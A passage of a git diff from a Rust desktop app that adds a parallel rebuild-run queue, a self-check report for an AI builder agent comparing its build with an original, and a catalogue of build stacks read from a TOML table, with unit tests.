Duration::from_millis(100)).unwrap_err().code, ErrorCode::TimedOut); + } +} diff --git a/desktop/crates/ai/src/rebuild/runs.rs b/desktop/crates/ai/src/rebuild/runs.rs new file mode 100644 index 0000000..b38a2f0 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/runs.rs @@ -0,0 +1,321 @@ +//! Several rebuilds at once. A [`RunSet`] keeps every project's run by folder: up to its limit +//! work at the same time, the rest wait in order and start as others finish. The app and the +//! rebuild tools both hold one; each run keeps its own project's feed, so nothing here depends on +//! which project is on screen. + +use super::*; +use std::collections::{HashMap, VecDeque}; + +/// How a run is started; [`RebuildRun::start`] unless a fork or a test swaps it. +pub type Starter = Box Result + Send>; + +/// What [`RunSet::start`] did. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Started { + Running, + /// Waiting for a free place; 1 starts next. + Queued { + position: usize, + }, +} + +/// What [`RunSet::stop`] did. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Stopped { + /// Asked to stop; its `Finished` event follows. + Stopping, + /// Taken out of the queue before it started. + Unqueued, + Nothing, +} + +pub struct RunSet { + limit: usize, + /// Running and finished runs (a finished one keeps its preview and unsent notes). + runs: HashMap, + queue: VecDeque<(Workspace, RunOptions)>, + starter: Starter, + /// A [`keep_queue_moving`] thread is looking after the queue. + watched: bool, +} + +impl std::fmt::Debug for RunSet { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("RunSet").field("limit", &self.limit).field("running", &self.active()).field("queued", &self.queue.len()).finish() + } +} + +impl RunSet { + /// At most `limit` runs work at once (at least one). + pub fn new(limit: usize) -> RunSet { + RunSet { limit: limit.max(1), runs: HashMap::new(), queue: VecDeque::new(), starter: Box::new(RebuildRun::start), watched: false } + } + + /// Start runs another way (a fork's runner, or a test's). + pub fn with_starter(mut self, starter: Starter) -> RunSet { + self.starter = starter; + self + } + + /// Change how many may work at once; runs already working go on. + pub fn set_limit(&mut self, limit: usize) { + self.limit = limit.max(1); + } + + pub fn limit(&self) -> usize { + self.limit + } + + /// Start a run on `ws`, or queue it when `limit` are already working. A project that is + /// working or queued is refused. + pub fn start(&mut self, hub: &AiHub, ws: Workspace, opts: RunOptions) -> Result { + if self.is_running(&ws.root) || self.position(&ws.root).is_some() { + return Err( + ToolError::new(ErrorCode::BadInput, "This project is already building.").with_remediation("Add to it while it works, or stop it first.") + ); + } + if self.active() < self.limit { + let root = ws.root.clone(); + let run = (self.starter)(hub, ws, opts)?; + self.runs.insert(root, run); + return Ok(Started::Running); + } + // Fail now, not when its turn comes, when no coding agent is set up. + let cfg = hub.config(); + builder_backend(&cfg, opts.backend.as_deref().or_else(|| super::project_builder(&cfg, &ws)))?; + self.queue.push_back((ws, opts)); + Ok(Started::Queued { position: self.queue.len() }) + } + + /// Every run's new events, by project folder, then start queued runs in the places that came + /// free. A queued run that can't start gives a `Finished { ok: false }` with the reason. + pub fn poll(&mut self, hub: &AiHub) -> Vec<(PathBuf, RunEvent)> { + let mut out: Vec<(PathBuf, RunEvent)> = Vec::new(); + for (root, run) in &mut self.runs { + out.extend(run.poll().into_iter().map(|e| (root.clone(), e))); + } + while self.active() < self.limit { + let Some((ws, opts)) = self.queue.pop_front() else { break }; + let root = ws.root.clone(); + let mut keep = ws.clone(); + match (self.starter)(hub, ws, opts) { + Ok(run) => { + self.runs.insert(root, run); + } + Err(e) => { + let message = e.for_people(); + let _ = keep.set_status(Status::NeedsYou, message.clone()); + out.push((root, RunEvent::Finished { ok: false, message, paused: false })); + } + } + } + out + } + + /// The project's run, working or finished. + pub fn get(&self, root: &Path) -> Option<&RebuildRun> { + self.runs.get(root) + } + + pub fn get_mut(&mut self, root: &Path) -> Option<&mut RebuildRun> { + self.runs.get_mut(root) + } + + /// The project's run is working. + pub fn is_running(&self, root: &Path) -> bool { + self.runs.get(root).is_some_and(RebuildRun::is_running) + } + + /// Its place in the queue (1 starts next). + pub fn position(&self, root: &Path) -> Option { + self.queue.iter().position(|(ws, _)| ws.root == root).map(|i| i + 1) + } + + /// How many are waiting. + pub fn waiting(&self) -> usize { + self.queue.len() + } + + /// Working or waiting. + pub fn is_busy(&self, root: &Path) -> bool { + self.is_running(root) || self.position(root).is_some() + } + + /// How many are working. + pub fn active(&self) -> usize { + self.runs.values().filter(|r| r.is_running()).count() + } + + /// Any project is working or waiting. + pub fn any_busy(&self) -> bool { + self.active() > 0 || !self.queue.is_empty() + } + + /// The projects working or waiting. + pub fn busy(&self) -> Vec { + let mut v: Vec = self.runs.iter().filter(|(_, r)| r.is_running()).map(|(p, _)| p.clone()).collect(); + v.extend(self.queue.iter().map(|(ws, _)| ws.root.clone())); + v + } + + /// Stop the project's run, or take it out of the queue. + pub fn stop(&mut self, root: &Path) -> Stopped { + if let Some(i) = self.queue.iter().position(|(ws, _)| ws.root == root) { + self.queue.remove(i); + return Stopped::Unqueued; + } + match self.runs.get(root).filter(|r| r.is_running()) { + Some(r) => { + r.stop(); + Stopped::Stopping + } + None => Stopped::Nothing, + } + } + + /// Empty the queue and stop every run (closing the app). + pub fn stop_all(&mut self) { + self.queue.clear(); + for r in self.runs.values() { + r.stop(); + } + } +} + +/// Poll `set` every `every` on a background thread while runs wait, so queued runs start as +/// soon as a place comes free: for holders that poll only when called (the rebuild tools, which +/// an MCP client may not call again for a while). One thread per set at a time; it ends when the +/// queue is empty or the engine is gone, and never waits on a busy session. +pub fn keep_queue_moving(set: &Arc>, engine: &Arc, every: Duration) { + { + let mut s = set.lock().unwrap_or_else(PoisonError::into_inner); + if s.watched || s.queue.is_empty() { + return; + } + s.watched = true; + } + let (set_ref, engine_ref) = (Arc::downgrade(set), Arc::downgrade(engine)); + let spawned = std::thread::Builder::new().name("rebuild-queue".into()).spawn(move || { + loop { + std::thread::sleep(every); + let Some(set) = set_ref.upgrade() else { return }; + let mut s = set.lock().unwrap_or_else(PoisonError::into_inner); + let Some(engine) = engine_ref.upgrade() else { + s.watched = false; + return; + }; + if let Some(session) = engine.try_session() { + s.set_limit(session.settings.build.parallel); + } + // Each run keeps its own project's feed, so the events aren't needed here. + let _ = s.poll(&AiHub::new(engine)); + if s.queue.is_empty() { + s.watched = false; + return; + } + } + }); + if spawned.is_err() { + set.lock().unwrap_or_else(PoisonError::into_inner).watched = false; + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::rebuild::StandIns; + + /// A hub whose Builder is an agent app, so queued runs pass the up-front check. + fn hub() -> AiHub { + let mut s = craft_anything_engine::testing::session(); + s.settings.ai = toml::from_str("[[backends]]\nname = \"Agent\"\nkind = \"agent_cli\"\nmodel = \"claude-code\"\n").unwrap(); + assert!(builder_backend(&crate::AiConfig::from_settings(&s.settings), None).is_ok()); + AiHub::new(Arc::new(Engine::new(s))) + } + + #[test] + fn runs_past_the_limit_wait_and_start_in_order() { + let d = tempfile::tempdir().unwrap(); + let ws = |n: &str| Workspace::create(d.path(), n, "A game", TargetRef::None).unwrap(); + let (a, b, c) = (ws("A"), ws("B"), ws("C")); + let fake = StandIns::new(); + let hub = hub(); + let mut set = RunSet::new(2).with_starter(fake.starter()); + assert_eq!(set.start(&hub, a.clone(), RunOptions::default()).unwrap(), Started::Running); + assert_eq!(set.start(&hub, b.clone(), RunOptions::default()).unwrap(), Started::Running); + assert_eq!(set.start(&hub, c.clone(), RunOptions::default()).unwrap(), Started::Queued { position: 1 }); + assert!(set.start(&hub, c.clone(), RunOptions::default()).is_err(), "a queued project isn't queued twice"); + assert!(set.start(&hub, a.clone(), RunOptions::default()).is_err(), "nor a working one started twice"); + assert_eq!((set.active(), set.position(&c.root), set.busy().len()), (2, Some(1), 3)); + + // A finishes: its event is reported under its folder, and C takes its place. + fake.finish(&a.root); + let events = set.poll(&hub); + assert_eq!(events, [(a.root.clone(), RunEvent::Finished { ok: true, message: "Done.".into(), paused: false })]); + assert_eq!(fake.started(), [a.root.clone(), b.root.clone(), c.root.clone()]); + assert!(set.is_running(&c.root) && !set.is_running(&a.root) && set.get(&a.root).is_some(), "a finished run is kept"); + // A can build again, and waits behind the two working. + assert_eq!(set.start(&hub, a.clone(), RunOptions::default()).unwrap(), Started::Queued { position: 1 }); + assert_eq!(set.stop(&a.root), Stopped::Unqueued); + assert_eq!(set.stop(&b.root), Stopped::Stopping); + assert_eq!(set.stop(&a.root), Stopped::Nothing); + set.stop_all(); + assert!(set.position(&a.root).is_none()); + } + + #[test] + fn a_queued_run_that_cannot_start_says_why() { + let d = tempfile::tempdir().unwrap(); + let a = Workspace::create(d.path(), "A", "A game", TargetRef::None).unwrap(); + let b = Workspace::create(d.path(), "B", "A game", TargetRef::None).unwrap(); + let fake = StandIns::new().failing("B"); + let hub = hub(); + let mut set = RunSet::new(1).with_starter(fake.starter()); + set.start(&hub, a.clone(), RunOptions::default()).unwrap(); + assert_eq!(set.start(&hub, b.clone(), RunOptions::default()).unwrap(), Started::Queued { position: 1 }); + fake.finish(&a.root); + let events = set.poll(&hub); + assert!(events.contains(&(b.root.clone(), RunEvent::Finished { ok: false, message: "No coding agent.".into(), paused: false })), "{events:?}"); + assert!(!set.any_busy()); + assert_eq!(Workspace::open(&b.root).unwrap().manifest.status, Status::NeedsYou); + } + + #[test] + fn a_queued_run_starts_without_anyone_polling() { + let d = tempfile::tempdir().unwrap(); + let a = Workspace::create(d.path(), "A", "A game", TargetRef::None).unwrap(); + let b = Workspace::create(d.path(), "B", "A game", TargetRef::None).unwrap(); + let fake = StandIns::new(); + let hub = hub(); + let set = Arc::new(Mutex::new(RunSet::new(1).with_starter(fake.starter()))); + set.lock().unwrap().start(&hub, a.clone(), RunOptions::default()).unwrap(); + // Nothing waits yet, so no thread is started. + keep_queue_moving(&set, &hub.engine, Duration::from_millis(5)); + assert!(!set.lock().unwrap().watched); + set.lock().unwrap().start(&hub, b.clone(), RunOptions::default()).unwrap(); + keep_queue_moving(&set, &hub.engine, Duration::from_millis(5)); + keep_queue_moving(&set, &hub.engine, Duration::from_millis(5)); + assert!(set.lock().unwrap().watched); + fake.finish(&a.root); + let deadline = std::time::Instant::now() + Duration::from_secs(10); + while set.lock().unwrap().watched && std::time::Instant::now() < deadline { + std::thread::sleep(Duration::from_millis(5)); + } + assert_eq!(fake.started(), [a.root.clone(), b.root.clone()], "one thread started B once"); + let s = set.lock().unwrap(); + assert!(s.is_running(&b.root) && s.waiting() == 0 && !s.watched); + } + + #[test] + fn nothing_is_queued_without_a_coding_agent() { + let d = tempfile::tempdir().unwrap(); + let a = Workspace::create(d.path(), "A", "A game", TargetRef::None).unwrap(); + let b = Workspace::create(d.path(), "B", "A game", TargetRef::None).unwrap(); + let hub = AiHub::new(Arc::new(Engine::new(craft_anything_engine::testing::session()))); + let mut set = RunSet::new(1).with_starter(StandIns::new().starter()); + set.start(&hub, a, RunOptions::default()).unwrap(); + let root = b.root.clone(); + assert!(set.start(&hub, b, RunOptions::default()).is_err()); + assert_eq!(set.position(&root), None); + } +} diff --git a/desktop/crates/ai/src/rebuild/self_check.rs b/desktop/crates/ai/src/rebuild/self_check.rs new file mode 100644 index 0000000..fe79a6c --- /dev/null +++ b/desktop/crates/ai/src/rebuild/self_check.rs @@ -0,0 +1,217 @@ +//! The builder tests its own work while it builds: `rebuild_check` (in [`super::tools`]) asks the +//! run through `checks/asks/` (the inbox's folder protocol, in a folder only the run reads), and +//! the run answers during the builder's turn with the same checks it runs after the turn, as +//! round 0 (`checks/round-0/`), not counted as a round. + +use super::*; + +/// The round a builder's own check is run as; real rounds start at 1. +pub const SELF_CHECK_ROUND: u32 = 0; + +/// Where `rebuild_check` asks a project's run for a check. +pub fn asks_dir(project: &Path) -> PathBuf { + project.join("checks").join("asks") +} + +/// Projects whose build runs in this process. A builder in this process (an API backend) calls +/// tools with the engine locked, so its `rebuild_check` could never be answered by this run. +static BUILDING_HERE: Mutex> = Mutex::new(Vec::new()); + +/// Marks a project as building in this process until dropped. +pub(super) struct BuildingHere(PathBuf); + +impl BuildingHere { + pub(super) fn new(root: &Path) -> BuildingHere { + BUILDING_HERE.lock().unwrap_or_else(PoisonError::into_inner).push(root.to_path_buf()); + BuildingHere(root.to_path_buf()) + } +} + +impl Drop for BuildingHere { + fn drop(&mut self) { + let mut v = BUILDING_HERE.lock().unwrap_or_else(PoisonError::into_inner); + if let Some(i) = v.iter().position(|p| *p == self.0) { + v.remove(i); + } + } +} + +/// The project builds in this process. +pub fn building_here(root: &Path) -> bool { + BUILDING_HERE.lock().unwrap_or_else(PoisonError::into_inner).iter().any(|p| p == root) +} + +/// The questions the builder recorded (`core_unknown_add`, kept in the project's investigation +/// folder) that aren't resolved yet, most severe first. Read from disk: the builder's tool server +/// writes them while this run works. +pub fn open_questions(ws: &Workspace) -> Vec { + let mut open: Vec<_> = Project::open(&ws.investigation_dir()) + .and_then(|p| p.load_unknowns()) + .unwrap_or_default() + .into_iter() + .filter(|u| u.status != craft_anything_evidence::UnknownStatus::Resolved) + .collect(); + open.sort_by(|a, b| b.severity.cmp(&a.severity).then_with(|| a.question.cmp(&b.question))); + open +} + +/// One plain line on how a round of checks went: how alike when compared, else how many checks +/// pass, and how many of their claims hold ("about 93% like the original, 5 of 5 claims hold"; +/// "all 4 checks pass, 5 of 5 claims hold"). +pub fn summary(checks: &[CheckResult], good_enough: f64) -> String { + let claims: Vec<_> = checks.iter().flat_map(|c| &c.claims).collect(); + let held = claims.iter().filter(|c| c.passed).count(); + let claims_part = if claims.is_empty() { String::new() } else { format!(", {held} of {} claims hold", claims.len()) }; + let good = checks.iter().filter(|c| c.good(good_enough)).count(); + match checks.iter().find_map(|c| c.similarity) { + Some(s) => format!("about {s:.0}% like the original{claims_part}"), + None if good == checks.len() => format!("all {} checks pass{claims_part}", checks.len()), + None => format!("{good} of {} checks pass{claims_part}", checks.len()), + } +} + +/// What the builder is told about its own check: each result with its likeness and the bar, +/// what's still unknown (the checks' and its own open questions), where its pictures are, and +/// whether it would pass. +pub fn report(checks: &[CheckResult], good_enough: f64, open: &[craft_anything_evidence::Unknown]) -> String { + if checks.is_empty() { + return "There was nothing to check yet.".into(); + } + let mut lines = Vec::new(); + for c in checks { + let mut line = format!("{}: {}", c.check, if c.passed { "passed" } else { "failed" }); + if let Some(s) = c.similarity { + line.push_str(&format!(", {s:.0}% alike (needs {:.0}%)", c.good_enough.unwrap_or(good_enough))); + } + line.push_str(&format!(" — {}", c.note)); + lines.push(line); + } + let failed: Vec = checks.iter().flat_map(|c| c.failed_claims()).map(|c| format!("{} ({})", c.title, c.detail)).collect(); + if !failed.is_empty() { + lines.push(format!("These must hold before it can pass: {}.", failed.join("; "))); + } + let unknowns: Vec<&str> = checks.iter().flat_map(|c| &c.unknowns).map(String::as_str).collect(); + if !unknowns.is_empty() { + lines.push(format!("Not compared, so it can't pass yet: {}. Make those parts exist and render, then check again.", unknowns.join(", "))); + } + if !open.is_empty() { + let shown: Vec = open.iter().take(8).map(|u| format!("{} ({})", u.question, u.id)).collect(); + lines.push(format!( + "Your open questions: {}. Settle what one more look can and close it with core_unknown_edit (status resolved, the resolution and the evidence ids); say what's left in your summary.", + shown.join("; ") + )); + } + let pictures: Vec = checks.iter().flat_map(|c| &c.artifacts).map(|p| p.display().to_string().replace('\\', "/")).collect(); + if !pictures.is_empty() { + lines.push(format!("Pictures of your build (compare each with the original's in capture/ or reference/): {}", pictures.join(", "))); + } + lines.push(if checks.iter().all(|c| c.good(good_enough)) { + "This would pass. Finish what you're doing, then reply.".to_string() + } else { + "Not good enough yet: fix what it lists, build again, and check again with rebuild_check.".to_string() + }); + lines.join("\n") +} + +impl Worker { + /// Answer the builder's own check requests during its turn (once the build loop has started). + pub(super) fn answer_self_checks(&mut self, ws: &mut Workspace) -> Result<(), ToolError> { + let Some((kind, good_enough)) = self.self_check.clone() else { return Ok(()) }; + let asks = Inbox::new(asks_dir(&ws.root)); + for r in asks.pending() { + self.step(ws, Step::Build, Status::Building, "The builder is checking its work against the original…")?; + let (text, line) = match self.run_checks(ws, kind.as_ref(), SELF_CHECK_ROUND) { + Ok(checks) => { + let line = format!("The builder checked its work: {}.", summary(&checks, good_enough)); + (report(&checks, good_enough, &open_questions(ws)), line) + } + Err(e) if e.code == ErrorCode::Cancelled => return Err(e), + Err(e) => (format!("The check couldn't run: {}", e.message), "The builder's check couldn't run.".to_string()), + }; + asks.answer(&r.id, &Answer { text: Some(text), ..Default::default() })?; + self.step(ws, Step::Build, Status::Building, &line)?; + } + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_report_says_what_differs_and_whether_it_would_pass() { + let web = CheckResult { + similarity: Some(82.4), + artifacts: vec![PathBuf::from("checks/round-0/screenshot-390.png")], + ..CheckResult::new(CheckResult::WEB_VISUAL, SELF_CHECK_ROUND, true, "at 390 px: the page scrolls sideways (512 px wide)") + }; + let r = report(std::slice::from_ref(&web), 90.0, &[]); + assert!(r.contains("82% alike (needs 90%) — at 390 px: the page scrolls sideways") && r.contains("checks/round-0/screenshot-390.png"), "{r}"); + assert!(r.ends_with("check again with rebuild_check."), "{r}"); + let good = CheckResult { similarity: Some(93.0), ..web }; + assert!(report(&[good], 90.0, &[]).ends_with("This would pass. Finish what you're doing, then reply.")); + let build = CheckResult::new(CheckResult::BUILD, SELF_CHECK_ROUND, false, "Build failed: error[E0425]"); + let r = report(&[build], 90.0, &[]); + assert!(r.starts_with("build: failed — Build failed") && r.contains("Not good enough yet"), "{r}"); + assert_eq!(report(&[], 90.0, &[]), "There was nothing to check yet."); + let claim = |passed| craft_anything_engine::workspace::Claim::new("In play, the player moves", passed, "it doesn't"); + let game = [ + CheckResult::new(CheckResult::BUILD, 1, true, "Build succeeded."), + CheckResult { claims: vec![claim(true), claim(true)], ..CheckResult::new("game-self-test", 1, true, "") }, + CheckResult::new("mechanics", 1, true, "app/mechanics.json has 15 values"), + ]; + assert_eq!(summary(&game, 90.0), "all 3 checks pass, 2 of 2 claims hold"); + let failing = [game[0].clone(), CheckResult { claims: vec![claim(true), claim(false)], ..CheckResult::new("game-self-test", 1, false, "") }]; + assert_eq!(summary(&failing, 90.0), "1 of 2 checks pass, 1 of 2 claims hold"); + let site = [CheckResult { similarity: Some(93.4), ..CheckResult::new(CheckResult::WEB_VISUAL, 1, true, "") }]; + assert_eq!(summary(&site, 90.0), "about 93% like the original"); + let alike_but_broken = CheckResult { + similarity: Some(96.0), + claims: vec![craft_anything_engine::workspace::Claim::new("The start page loads every file it asks for", false, "/logo.png (404)")], + ..CheckResult::new(CheckResult::WEB_VISUAL, 0, true, "") + }; + let r = report(&[alike_but_broken], 90.0, &[]); + assert!( + r.contains("These must hold before it can pass: The start page loads every file it asks for (/logo.png (404))") + && r.contains("Not good enough yet"), + "{r}" + ); + let blind = CheckResult { + similarity: Some(95.0), + unknowns: vec!["/about at 768 px couldn't be compared".into()], + ..CheckResult::new(CheckResult::WEB_VISUAL, 0, true, "") + }; + let r = report(&[blind], 90.0, &[]); + assert!(r.contains("Not compared, so it can't pass yet: /about at 768 px") && r.contains("Not good enough yet"), "an unknown never passes: {r}"); + } + + #[test] + fn the_builders_open_questions_are_read_from_the_project_and_reported() { + use craft_anything_evidence::{Severity, Unknown, UnknownStatus}; + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Arena", "Recreate this game", TargetRef::None).unwrap(); + assert!(open_questions(&ws).is_empty(), "no investigation folder yet"); + let project = Project::create(&ws.investigation_dir(), "Arena", Purpose::default()).unwrap(); + project.store_unknown(&Unknown::new("Jump height?", "game", Severity::Low)).unwrap(); + project.store_unknown(&Unknown::new("Which font is the menu set in?", "ui", Severity::High)).unwrap(); + let mut done = Unknown::new("Map size?", "game", Severity::Critical); + done.status = UnknownStatus::Resolved; + project.store_unknown(&done).unwrap(); + let open = open_questions(&ws); + let questions: Vec<&str> = open.iter().map(|u| u.question.as_str()).collect(); + assert_eq!(questions, ["Which font is the menu set in?", "Jump height?"], "unresolved only, most severe first"); + let r = report(&[CheckResult::new(CheckResult::BUILD, 0, true, "Build succeeded.")], 90.0, &open); + assert!(r.contains("Your open questions: Which font is the menu set in? (unk_") && r.contains("close it with core_unknown_edit"), "{r}"); + } + + #[test] + fn a_project_is_marked_as_building_here_only_while_its_run_lasts() { + let root = PathBuf::from("/projects/marked-here"); + assert!(!building_here(&root)); + let mark = BuildingHere::new(&root); + assert!(building_here(&root)); + drop(mark); + assert!(!building_here(&root)); + } +} diff --git a/desktop/crates/ai/src/rebuild/stacks.rs b/desktop/crates/ai/src/rebuild/stacks.rs new file mode 100644 index 0000000..2a6b618 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/stacks.rs @@ -0,0 +1,195 @@ +//! The stacks a build can use, from the `stacks.toml` table: what the builder is told for each, +//! and the phrases that ask for one by name. Kinds name their default stack; the table says how +//! to build with it. The table also lists libraries asked for on top of a stack (shadcn/ui, +//! Tailwind CSS), whose steps are added to the stack's. + +use std::sync::OnceLock; + +/// One stack ("React + TypeScript (Vite)", "Unity"…). +#[derive(Debug, Clone, PartialEq, Eq, serde::Deserialize)] +pub struct Stack { + /// Shown to the person and stored in the project. + pub name: String, + /// The game engine it builds with (`unity`, `unreal`, `godot`, `rust`), if any. + #[serde(default)] + pub engine: Option, + /// Phrases in a request that ask for this stack (`" in python"`), matched on the lower-case + /// request padded with spaces. + #[serde(default)] + pub asked_by: Vec, + /// What the builder is told; `{editor}`, `{player}` and `{ext}` are filled in. `None` gets + /// the generic instruction. + #[serde(default)] + pub steps: Option, + /// package.json dependencies that show a build uses this stack (`next`, `vite`). + #[serde(default)] + pub uses: Vec, +} + +/// The stack that leaves the choice to the builder (a website's default); [`used_in`] then +/// records the one it used. +pub const BUILDERS_CHOICE: &str = "Builder's choice"; + +/// A component or styling library asked for on top of a stack ("shadcn/ui", "Tailwind CSS"). +#[derive(Debug, Clone, PartialEq, Eq, serde::Deserialize)] +pub struct Library { + pub name: String, + /// Phrases in a request that ask for it, matched like [`Stack::asked_by`]. + #[serde(default)] + pub asked_by: Vec, + /// The stacks it works with, by name; empty = any. + #[serde(default)] + pub stacks: Vec, + /// What the builder is told, after the stack's steps. + pub steps: String, +} + +#[derive(Debug, Default, serde::Deserialize)] +struct Table { + #[serde(default)] + stack: Vec, + #[serde(default)] + library: Vec, +} + +/// The built-in table. A table that doesn't parse (a broken edit) leaves it empty, so every +/// stack gets the generic instruction instead of the app failing; a test keeps it parsing. +fn table() -> &'static Table { + static TABLE: OnceLock = OnceLock::new(); + TABLE.get_or_init(|| parse(include_str!("stacks.toml")).unwrap_or_default()) +} + +pub fn catalogue() -> &'static [Stack] { + &table().stack +} + +fn parse(text: &str) -> Result { + toml::from_str::
(text) +} + +/// A request as `asked_by` phrases are matched: lower-case words, punctuation turned into +/// spaces, padded with spaces (`"Use Next.js, shadcn/ui"` → `" use next js shadcn ui "`). +pub fn words(request: &str) -> String { + let lower = request.to_lowercase(); + format!(" {} ", lower.split(|c: char| !c.is_alphanumeric()).filter(|w| !w.is_empty()).collect::>().join(" ")) +} + +pub fn get(name: &str) -> Option<&'static Stack> { + catalogue().iter().find(|s| s.name == name) +} + +/// A stack picked by name: its full name or its engine id, ignoring case (`unity`, `Godot`, +/// `React + TypeScript (Vite)`). +pub fn resolve(name: &str) -> Option<&'static Stack> { + let n = name.trim(); + catalogue().iter().find(|s| s.name.eq_ignore_ascii_case(n) || s.engine.as_deref().is_some_and(|e| e.eq_ignore_ascii_case(n))) +} + +/// The first stack whose phrases appear in `words` (a request through [`words`]). +pub fn asked_for(words: &str) -> Option<&'static Stack> { + catalogue().iter().find(|s| s.asked_by.iter().any(|p| words.contains(p.as_str()))) +} + +/// The stack a build in `app` uses, from its package.json dependencies (the first stack in table +/// order whose `uses` it lists); None when it has none or names no stack in the table. +pub fn used_in(app: &std::path::Path) -> Option<&'static Stack> { + let deps = craft_anything_engine::outputs::npm_dependencies(app); + catalogue().iter().find(|s| s.uses.iter().any(|d| deps.contains(d))) +} + +/// The libraries `request` asks for that work with `stack`, in table order. +pub fn libraries_for(request: &str, stack: &str) -> Vec<&'static Library> { + let w = words(request); + table() + .library + .iter() + .filter(|l| l.asked_by.iter().any(|p| w.contains(p.as_str())) && (l.stacks.is_empty() || l.stacks.iter().any(|s| s == stack))) + .collect() +} + +/// What the builder is told for `stack`. `editor`: the game engine's editor for engine stacks. +pub fn steps(stack: &str, editor: Option<&std::path::Path>) -> String { + let Some(text) = get(stack).and_then(|s| s.steps.as_deref()) else { + return format!("Use {stack}. Create the project in app/ and make sure it builds or runs without errors."); + }; + let (player, ext) = if cfg!(windows) { + ("StandaloneWindows64", "exe") + } else if cfg!(target_os = "macos") { + ("StandaloneOSX", "app") + } else { + ("StandaloneLinux64", "x86_64") + }; + let editor = editor.map(|e| e.display().to_string()).unwrap_or_default(); + text.replace("{editor}", &editor).replace("{player}", player).replace("{ext}", ext) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_table_parses_and_covers_every_engine() { + let names: Vec<&str> = catalogue().iter().map(|s| s.name.as_str()).collect(); + assert!(names.len() >= 7, "{names:?}"); + for b in craft_anything_engines::game::Builder::ALL { + assert!(get(b.stack()).is_some(), "no stack in stacks.toml for {}", b.stack()); + } + assert_eq!(get("Unity").and_then(|s| s.engine.as_deref()), Some("unity")); + assert!(parse("[[stack]]\nname = 3").is_err(), "a broken table is an error, not a panic"); + for l in &table().library { + assert!(!l.steps.is_empty() && !l.asked_by.is_empty(), "{l:?}"); + assert!(l.stacks.iter().all(|s| get(s).is_some()), "{} names a stack that isn't in the table", l.name); + } + } + + #[test] + fn a_build_left_to_the_builder_is_recorded_under_the_stack_it_used() { + let d = tempfile::tempdir().unwrap(); + assert!( + get(BUILDERS_CHOICE) + .is_some_and(|s| s.steps.as_deref().is_some_and(|t| t.starts_with("Use what their request names; otherwise choose the stack yourself"))) + ); + assert!(used_in(d.path()).is_none(), "no package.json"); + std::fs::write(d.path().join("package.json"), "not json").unwrap(); + assert!(used_in(d.path()).is_none(), "a broken package.json is no stack, not a crash"); + std::fs::write(d.path().join("package.json"), r#"{"dependencies": {"next": "16", "react": "19"}, "devDependencies": {"vite": "7"}}"#).unwrap(); + assert_eq!(used_in(d.path()).map(|s| s.name.as_str()), Some("Next.js + TypeScript"), "table order decides"); + std::fs::write(d.path().join("package.json"), r#"{"devDependencies": {"vite": "7"}}"#).unwrap(); + assert_eq!(used_in(d.path()).map(|s| s.name.as_str()), Some("React + TypeScript (Vite)")); + std::fs::write(d.path().join("package.json"), r#"{"dependencies": {"astro": "5"}}"#).unwrap(); + assert!(used_in(d.path()).is_none(), "a stack the table doesn't know stays the builder's choice"); + assert_eq!(libraries_for("use shadcn", BUILDERS_CHOICE).len(), 1, "a library works with the builder's choice too"); + } + + #[test] + fn spelled_variants_of_a_stack_and_its_libraries() { + let next = Some("Next.js + TypeScript"); + for r in ["use nextjs", "Use Next.js", "built with next js", "in Next.JS please", "(Next.js) with React", "use next and shadcn", "a site in next"] { + assert_eq!(asked_for(&words(r)).map(|s| s.name.as_str()), next, "{r}"); + } + assert_eq!(asked_for(&words("what to do next")), None, "\"next\" alone isn't a stack"); + assert_eq!(asked_for(&words("build it with Vite")).map(|s| s.name.as_str()), Some("React + TypeScript (Vite)")); + let names = |r: &str, stack: &str| libraries_for(r, stack).iter().map(|l| l.name.as_str()).collect::>(); + for r in ["use shadcn", "with shadcn/ui", "shadcn-ui components", "ShadCN"] { + assert_eq!(names(r, "Next.js + TypeScript"), ["shadcn/ui"], "{r}"); + } + assert_eq!(names("shadcn and tailwind", "React + TypeScript (Vite)"), ["shadcn/ui", "Tailwind CSS"]); + assert_eq!(names("TailwindCSS", "Next.js + TypeScript"), ["Tailwind CSS"]); + assert!(names("shadcn", "Python").is_empty(), "a library only joins the stacks it works with"); + assert!(names("a plain page", "Next.js + TypeScript").is_empty()); + } + + #[test] + fn named_stacks_and_placeholders() { + assert_eq!(asked_for(&words("A tool in Python.")).map(|s| s.name.as_str()), Some("Python")); + assert_eq!(asked_for(&words("a page with react")).map(|s| s.name.as_str()), Some("React + TypeScript (Vite)")); + assert_eq!(asked_for(&words("a notes app")), None); + assert_eq!(resolve("godot").map(|s| s.name.as_str()), Some("Godot")); + assert_eq!(resolve(" unreal ").map(|s| s.name.as_str()), Some("Unreal Engine")); + assert_eq!(resolve("rust + EGUI (eframe)").map(|s| s.name.as_str()), Some("Rust + egui (eframe)")); + assert!(resolve("cobol").is_none()); + let unity = steps("Unity", Some(std::path::Path::new("/ed/Unity"))); + assert!(unity.contains("the editor is /ed/Unity") && !unity.contains('{'), "{unity}"); + assert_eq!(steps("Elm", None), "Use Elm. Create the project in app/ and make sure it builds or runs without errors."); + } +} diff --git a/desktop/crates/ai/src/rebuild/stacks.toml b/desktop/crates/ai/src/rebuild/stacks.toml new file mode 100644 index 0000000..23c60e6 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/stacks.toml @@ -0,0 +1,84 @@ +# The stacks Craft Anything builds with: what the builder is told for each, and the phrases that +# ask for one by name. Placeholders in `steps`: {editor} (the game engine's editor), {player} and +# {ext} (Unity's player target and file extension on this computer). A stack without `steps` gets +# the generic instruction. Add a stack here; kinds name their default stack by `name`. +# `asked_by` phrases are matched on the request's lower-case words with punctuation turned into +# spaces and padded with spaces ("Next.js," reads " next js "), first stack in this order wins. +# +# `uses` lists package.json dependencies that show a build was made with the stack, so a build +# left to the builder ("Builder's choice") is recorded under the stack it really used. +# +# A `[[library]]` is a component or styling library asked for on top of a stack ("shadcn", +# "tailwind"): its `steps` are added to the stack's for the `stacks` it works with. + +[[stack]] +name = "Builder's choice" +steps = "Use what their request names; otherwise choose the stack yourself: the one that best fits the request and the original. If the request names none and the capture shows what the original is built 